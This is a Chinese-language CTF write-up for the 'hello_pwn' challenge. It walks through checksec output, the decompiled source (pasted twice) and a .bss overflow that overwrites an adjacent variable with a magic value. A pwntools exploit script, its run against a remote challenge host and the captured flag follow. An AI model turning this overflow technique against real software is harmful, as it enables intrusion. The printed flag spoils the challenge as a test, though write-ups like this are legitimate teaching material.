hello_pwn--writeup

原创

ATFWUS 于 2020-03-01 14:25:54 发布 371 收藏
分类专栏： CTF-PWN # 攻防世界-pwn -- WriteUp 文章标签： CTF PWN ROP 栈溢出 攻防世界

CTF-PWN 同时被 2 个专栏收录
33 篇文章 5 订阅
订阅专栏

攻防世界-pwn -- WriteUp
15 篇文章 0 订阅
订阅专栏

文件下载地址：

链接：https://pan.baidu.com/s/1Qp1fxOU8b4VobwSlouK7OQ
提取码：g47i

0x01.分析

checksec：

```
root@at-ubuntu:/home/atfwus/rop# checksec hellopwn
[*] '/home/atfwus/rop/hellopwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
root@at-ubuntu:/home/atfwus/rop#
```

64位程序，开启NX。

源码：

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~      ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686();
  return 0LL;
}
```



```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~      ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686();
  return 0LL;
}
```


流程很简单，只要保证106c这个变量的值等于后面这个数字就可以了，前面有read函数，明显的栈溢出，只要想办法修改下面这个变量的值就行了。

```
.bss:0000000000601068 unk_601068      db    ? ;               ; DATA XREF: main+3B↑o
.bss:0000000000601069                 db    ? ;
.bss:000000000060106A                 db    ? ;
.bss:000000000060106B                 db    ? ;
.bss:000000000060106C dword_60106C    dd ?                    ; DATA XREF: main+4A↑r
.bss:000000000060106C _bss            ends
.bss:000000000060106C
```

发现这两个变量的差值为4，所以只需要溢出的时候填充四个字节的无效信息，再填充后面那个数字，就可去执行sub函数，拿到flag。

0x02.exp

```
##!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",44362)
#r=process('./hellopwn')

payload=4*'A'+p64(1853186401)

r.recvuntil("bof")
r.sendline(payload)

r.interactive()
```

```
root@at-ubuntu:/home/atfwus/rop# python exphellopwn.py
\[+] Opening connection to 111.198.29.45 on port 44362: Done
[*] Switching to interactive mode

cyberpeace{d3a1151edd9ca28dcb3438306b0b145f}
[*] Got EOF while reading in interactive
$
```